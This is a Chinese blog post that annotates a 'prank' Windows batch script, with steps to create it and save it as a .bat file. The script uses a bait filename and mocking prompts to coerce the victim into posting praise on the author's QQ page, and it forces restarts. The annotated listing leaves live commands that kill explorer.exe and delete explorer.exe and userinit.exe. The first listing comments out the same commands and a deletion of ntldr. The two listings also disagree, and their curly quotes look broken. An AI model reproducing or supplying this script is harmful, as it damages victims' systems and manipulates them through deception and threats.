恶作剧批处理(bat)代码解析

无关的话:

 翻找资料时,发现了自己小时候保存到网盘里的一个恶作剧程序。碰巧最近刚看完shell命令,正好对该程序进行注释

什么是bat文件:

 bat文件是dos下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下输入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。

其实就是一堆dos命令,类似于linux的shell

步骤:

 

  1. 新建一个文本文件
  2. 用记事本打开输入以下代码
  3. 代码(关于修改系统文件的命令已经被注释),保存更改扩展名为.bat
  1.  
    @echo off
  2.  
    color 00
  3.  
    echo ping www.baidu.com > d:\小小木马.exe
  4.  
     
  5.  
     
  6.  
    ::下面的几行代码要杀死explorer.exe进程并删除,删除explorer.exe文件不容恢复,所以被我注释掉了
  7.  
    ::taskkill /f /im explorer.exe
  8.  
    ::taskkill /f /im qq.exe
  9.  
    ::ren %SystemRoot%\explorer.exe killer.dll
  10.  
    ::del /f /s /q %SystemRoot%\explorer.exe
  11.  
     
  12.  
     
  13.  
    cls
  14.  
    echo.
  15.  
    echo 哈哈哈!好开心呐!又有人中招了。
  16.  
    echo.
  17.  
    echo 不过别担心,我可不是坏人,嘿嘿!O(∩_∩)O
  18.  
    echo.
  19.  
    echo 这个界面还挺温馨的吧?好歹我也会考虑下中标者的心理对吧?
  20.  
    echo.
  21.  
    echo 别把我的窗口关掉,也别关机,信不信由你(警告)。
  22.  
    echo.
  23.  
    echo 下面给你一个选择,请慎重。
  24.  
     
  25.  
    echo.
  26.  
    set /p AA=请键入Y(相信我)或者N(不相信)后按回车(y/n):
  27.  
    if /i “%AA%”==“y” goto hui
  28.  
    if /i “%AA%”==“n” goto no
  29.  
    cls
  30.  
    echo 你放弃了选择或者键入错误!
  31.  
    pause
  32.  
     
  33.  
    :no
  34.  
     
  35.  
     
  36.  
    ::下面要删除killer.dll和userinit.exe也被我注释掉了
  37.  
    ::del %SystemRoot%\killer.dll
  38.  
    ::del /f /s /q %SystemRoot%\system32\userinit.exe
  39.  
     
  40.  
     
  41.  
    cls
  42.  
    echo 既然你不相信我,那我也没什好说的了。
  43.  
    echo.
  44.  
    echo 别以为我只会干坏事,如果你相信我,那么一切都会没事的。
  45.  
    echo.
  46.  
    echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
  47.  
    pause
  48.  
    echo @echo off >a.bat
  49.  
    echo del d:\小小木马.exe >>a.bat
  50.  
    echo del a.txt >>a.bat
  51.  
    echo del 90后男生的龌龊事太震撼了.bat >>a.bat
  52.  
    echo exit >>a.bat
  53.  
    shutdown -r -t 00
  54.  
    start a.bat
  55.  
    exit
  56.  
     
  57.  
    :hui
  58.  
    cls
  59.  
    echo 哈哈,谢谢你相信我,你的选择是正确的。
  60.  
    echo.
  61.  
    echo 不过,你必须得按照我的提示完成以下步骤才行。
  62.  
    echo.
  63.  
    echo 等你完成了我的要求,我自然会把你的系统给恢复了。
  64.  
    echo.
  65.  
    echo 我善解人意吧?
  66.  
    echo.
  67.  
    echo 你要记住,在没有完全结束程序之前,你必须对我是友善的。
  68.  
    echo.
  69.  
    echo 不难吧?呵呵O(∩_∩)O
  70.  
    pause
  71.  
    echo %date% >a.txt & echo %time% >>a.txt
  72.  
    echo 哈哈,小样,中招了吧? >>a.txt
  73.  
    echo 不过你别担心,我不会对你怎么样,最主要的是你现在得听我的! >>a.txt
  74.  
    echo 听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。 >>a.txt
  75.  
    echo 登陆你的QQ,然后点击查找,输入我的QQ号:******. >>a.txt
  76.  
    echo 点击查看资料,然后点击我的空间,然后在我的留言板留10次“你好帅” >>a.txt
  77.  
    echo 我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。 >>a.txt
  78.  
    echo 现在可以关掉这记事本了。O(∩_∩)O >>a.txt
  79.  
    ::for %%i in (c,d,e,f) do for /f “delims=” %%n in (‘dir /s /b %%i:\qq.exe’) do start “” “%%n
  80.  
    start a.txt
  81.  
    cls
  82.  
    echo 登陆你的QQ并且留言后执行下一步。
  83.  
    pause
  84.  
    cls
  85.  
    echo 呵呵,游戏到此也快结束了,放心,待会儿你的系统就会恢复了。
  86.  
    echo.
  87.  
    echo 但是!我还想在玩一个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿!
  88.  
    echo.
  89.  
    echo 下面,请你做一个最关键的选择,记住,要慎重。
  90.  
    echo.
  91.  
    echo.
  92.  
    :no1
  93.  
    set /p BB=请键入Y(你好帅)或者N(你一点都不帅)后按回车(y/n):
  94.  
    if /i “%BB%“==”y” goto no3
  95.  
    if /i “%BB%“==”n” goto no2
  96.  
    cls
  97.  
    echo 你放弃了选择或者键入错误!
  98.  
    pause
  99.  
    goto no1
  100.  
    :no2
  101.  
     
  102.  
    ::del %SystemRoot%\killer.dll
  103.  
    ::del /f /s /q %SystemRoot%\system32\userinit.exe
  104.  
    ::attrib -r -s -h %SystemDrive%\ntldr % del %SystemDrive%\ntldr
  105.  
     
  106.  
    cls
  107.  
    echo 我操,我靠,难道我不帅吗?你怎么知道我不帅了啊?
  108.  
    echo.
  109.  
    echo 能把这小东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
  110.  
    echo.
  111.  
    echo 我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
  112.  
    echo.
  113.  
    echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
  114.  
    pause
  115.  
    echo @echo off >a.bat
  116.  
    echo del d:\小小木马.exe >>a.bat
  117.  
    echo del a.txt >>a.bat
  118.  
    echo del 90后男生的龌龊事太震撼了.bat >>a.bat
  119.  
    echo exit >>a.bat
  120.  
    shutdown -r -t 00
  121.  
    start a.bat
  122.  
    exit
  123.  
    :no3
  124.  
    cls
  125.  
    echo.
  126.  
    echo 哈哈,谢谢你,我知道我挺帅的,不过还是想满足下自己的虚荣心。嘿嘿
  127.  
    echo.
  128.  
    echo 我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
  129.  
    echo.
  130.  
    echo 下一步,按任意键恢复你的系统吧。
  131.  
    echo.
  132.  
    echo.
  133.  
    echo.
  134.  
    pause
  135.  
     
  136.  
    ::ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe
  137.  
    ::del %SystemRoot%\killer.dll
  138.  
     
  139.  
    cls
  140.  
    echo 桌面出来了吧?哈哈,恭喜你过关。
  141.  
    echo.
  142.  
    echo 不过你别急着关了我这个程序,为什么呢?
  143.  
    echo.
  144.  
    echo 因为………….
  145.  
    echo.
  146.  
    echo 你看看你的D盘底下是不是多了样东西呢?
  147.  
    echo.
  148.  
    echo 想知道是什么吗?按任意键你就知道了。
  149.  
    echo.
  150.  
    pause
  151.  
    echo @echo off >a.bat
  152.  
    echo del d:\小小木马.exe >>a.bat
  153.  
    echo del a.txt >>a.bat
  154.  
    echo del 90后男生的龌龊事太震撼了.bat >>a.bat
  155.  
    echo exit >>a.bat
  156.  
    start a.bat

注释(//之后的是注释):

  1.  
    @echo off //不显示命令
  2.  
    color 00 //命令框的颜色
  3.  
    echo ping www.baidu.com > d:\小小木马.exe //ping百度把结果存放到 d:\小小木马.exe
  4.  
    taskkill /f /im explorer.exe //杀死explorer.exe进程
  5.  
    // explorer.exe进程用来显示系统的桌面环境
  6.  
     
  7.  
    taskkill /f /im qq.exe //杀死qq.exe进程
  8.  
    ren %SystemRoot%\explorer.exe killer.dll //把explorer.exe重命名为kille.dll
  9.  
    del /f /s /q %SystemRoot%\explorer.exe //删除explorer.exe
  10.  
    cls
  11.  
     
  12.  
    echo. //输出
  13.  
    echo 哈哈哈!好开心呐!又有人中招了。
  14.  
    echo.
  15.  
    echo 不过别担心,我可不是坏人,嘿嘿!O(∩_∩)O
  16.  
    echo.
  17.  
    echo 这个界面还挺温馨的吧?好歹我也会考虑下中标者的心理对吧?
  18.  
    echo.
  19.  
    echo 别把我的窗口关掉,也别关机,信不信由你(警告)。
  20.  
    echo.
  21.  
    echo 下面给你一个选择,请慎重。
  22.  
     
  23.  
    :shi
  24.  
    echo.
  25.  
    set /p AA=请键入Y(相信我)或者N(不相信)后按回车(y/n):
  26.  
    if /i “%AA%”==“y” goto hui //输入y跳转到hui相关代码
  27.  
    if /i “%AA%”==“n” goto no //输入n跳转到no
  28.  
    cls
  29.  
    echo 你放弃了选择或者键入错误!
  30.  
    pause
  31.  
    goto shi //输入错误会重复执行 shi
  32.  
    :no
  33.  
     
  34.  
    cls //清屏
  35.  
    echo 既然你不相信我,那我也没什好说的了。
  36.  
    echo.
  37.  
    echo 别以为我只会干坏事,如果你相信我,那么一切都会没事的。
  38.  
    echo.
  39.  
    echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
  40.  
    pause
  41.  
    shutdown -r -t 00 //关机
  42.  
    exit //退出
  43.  
     
  44.  
    :hui
  45.  
    cls //清屏
  46.  
    echo 哈哈,谢谢你相信我,你的选择是正确的。
  47.  
    echo.
  48.  
    echo 不过,你必须得按照我的提示完成以下步骤才行。
  49.  
    echo.
  50.  
    echo 等你完成了我的要求,我自然会把你的系统给恢复了。
  51.  
    echo.
  52.  
    echo 我善解人意吧?
  53.  
    echo.
  54.  
    echo 你要记住,在没有完全结束程序之前,你必须对我是友善的。
  55.  
    echo.
  56.  
    echo 不难吧?呵呵O(∩_∩)O
  57.  
    pause
  58.  
     
  59.  
     
  60.  
    //把下面内容存入a.txt中
  61.  
    echo %date% >a.txt & echo %time% >>a.txt
  62.  
    echo 哈哈,小样,中招了吧? >>a.txt
  63.  
    echo 不过你别担心,我不会对你怎么样,最主要的是你现在得听我的! >>a.txt
  64.  
    echo 听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。 >>a.txt
  65.  
    echo 登陆你的QQ,然后点击查找,输入我的QQ号:*****. >>a.txt
  66.  
    echo 点击查看资料,然后点击我的空间,然后在我的留言板留10次“你好帅” >>a.txt
  67.  
    echo 我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。 >>a.txt
  68.  
    echo 现在可以关掉这记事本了。O(∩_∩)O >>a.txt
  69.  
     
  70.  
    //在本地查找qq的路径 并运行
  71.  
    for %%i in (c,d,e,f) do for /f “delims=” %%n in (‘dir /s /b %%i:\qq.exe’) do start “” “%%n”
  72.  
    start a.txt //打开a.txt
  73.  
    cls
  74.  
    echo 登陆你的QQ并且留言后执行下一步。
  75.  
    pause
  76.  
    cls
  77.  
    echo 呵呵,游戏到此也快结束了,放心,待会儿你的系统就会恢复了。
  78.  
    echo.
  79.  
    echo 但是!我还想在玩一个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿!
  80.  
    echo.
  81.  
    echo 下面,请你做一个最关键的选择,记住,要慎重。
  82.  
    echo.
  83.  
    echo.
  84.  
     
  85.  
    :no1
  86.  
    set /p BB=请键入Y(你好帅)或者N(你一点都不帅)后按回车(y/n):
  87.  
    if /i “%BB%”==“y” goto no3 //输入y跳转到no3
  88.  
    if /i “%BB%”==“n” goto no2 //输入n跳转到no2
  89.  
    cls
  90.  
    echo 你放弃了选择或者键入错误!
  91.  
    pause
  92.  
    goto no1 //输入其他跳转no1
  93.  
     
  94.  
     
  95.  
    :no2 //no2代码
  96.  
    cls
  97.  
    echo 我操,我靠,难道我不帅吗?你怎么知道我不帅了啊?
  98.  
    echo.
  99.  
    echo 能把这小东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
  100.  
    echo.
  101.  
    echo 我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
  102.  
    echo.
  103.  
    echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
  104.  
    pause
  105.  
    echo @echo off >a.bat
  106.  
    echo del d:\小小木马.exe >>a.bat
  107.  
    echo del a.txt >>a.bat
  108.  
    echo del 90后男生的龌龊事太震撼了.bat >>a.bat
  109.  
    echo exit >>a.bat
  110.  
    start a.bat
  111.  
    shutdown -r -t 00 //关机
  112.  
     
  113.  
    exit
  114.  
     
  115.  
     
  116.  
    :no3 //no3代码
  117.  
    cls
  118.  
    echo.
  119.  
    echo 哈哈,谢谢你,我知道我挺帅的,不过还是想满足下自己的虚荣心。嘿嘿
  120.  
    echo.
  121.  
    echo 我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
  122.  
    echo.
  123.  
    echo 下一步,按任意键恢复你的系统吧。
  124.  
    echo.
  125.  
    echo.
  126.  
    echo.
  127.  
    pause
  128.  
     
  129.  
    //把killer.dll重命名成explorer
  130.  
    ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe
  131.  
    del %SystemRoot%\killer.dll //删除killer.dll
  132.  
     
  133.  
    cls
  134.  
    echo 桌面出来了吧?哈哈,恭喜你过关。
  135.  
    echo.
  136.  
    echo 不过你别急着关了我这个程序,为什么呢?
  137.  
    echo.
  138.  
    echo 因为………….
  139.  
    echo.
  140.  
    echo 你看看你的D盘底下是不是多了样东西呢?
  141.  
    echo.
  142.  
    echo 想知道是什么吗?按任意键你就知道了。
  143.  
    echo.
  144.  
    pause
  145.  
exit
© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
大香蕉1122的头像-ZhouCaizheBlog
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容